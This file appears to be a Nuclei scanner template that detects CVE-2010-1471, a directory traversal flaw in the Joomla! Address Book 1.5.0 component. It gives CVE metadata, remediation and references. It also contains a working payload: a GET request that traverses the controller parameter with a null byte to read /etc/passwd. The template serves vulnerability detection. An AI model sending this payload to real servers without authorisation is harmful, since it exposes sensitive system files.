id: CVE-2010-1471

info:
  name: Joomla! Component Address Book 1.5.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the AddressBook (com_addressbook) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: |
    Update to the latest version of Joomla! Component Address Book or apply the necessary patches to fix the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12170
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1471
    - http://www.vupen.com/english/advisories/2010/0862
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1471
    cwe-id: CWE-22
    epss-score: 0.06406
    epss-percentile: 0.91148
    cpe: cpe:2.3:a:b-elektro:com_addressbook:1.5.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: b-elektro
    product: com_addressbook
  tags: cve,cve2010,joomla,lfi,edb,b-elektro,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_addressbook&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100883e7b2e422503c92adcb2fb4b54ff74939dad04f3590a4e579f14bf2c3574730220718f654a786c4ecd05feecacf927aeb35903b0dba511c56657de73400b0e3976:922c64590222798bb761d5b6d8e72950